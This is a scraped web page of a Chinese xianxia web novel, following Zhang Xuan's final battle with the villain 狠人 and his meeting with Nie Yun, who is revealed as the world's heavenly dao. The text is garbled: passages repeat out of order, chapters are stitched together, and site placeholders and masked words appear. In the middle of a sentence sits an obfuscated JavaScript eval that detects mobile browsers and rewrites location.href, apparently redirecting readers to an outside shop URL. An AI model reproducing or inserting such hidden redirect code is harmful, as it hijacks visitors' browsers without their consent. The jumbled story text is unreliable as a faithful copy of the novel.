张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第52章我从未怀疑过你的能力 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546025|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第53章王爷,一切准备就绪, 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 